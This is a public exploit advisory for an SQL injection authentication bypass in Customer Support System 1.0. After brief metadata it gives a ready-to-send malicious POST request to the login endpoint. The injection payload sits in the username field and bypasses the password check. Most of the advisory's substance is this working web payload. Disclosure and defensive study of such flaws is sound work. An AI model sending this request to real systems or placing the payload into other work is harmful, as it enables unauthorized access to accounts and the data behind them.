Customer Support System 1.0 SQL Injection

Customer Support System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 22a19ae8bd0680fc3d1bfdab3fb9b645

# Title: Customer Support System 1.0 - Authentication Bypass
# Date: 2020-11-11
# Exploit Author: Ahmed Abbas
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4

# Description : Authentication Bypass
# Vulnerability Details:
[+] A SQL injection vulnerability in Customer Support System 1.0 allows remote unauthenticated attackers to bypass the authentication process via username and password parameters.

# Malicious POST Request to https://TARGET
POST /customer_support/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/customer_support/login.php
Cookie: PHPSESSID=gbattc1r1riap25kr5k2k1ureo

username=' or 1=1 or ''='&password=password&type=1

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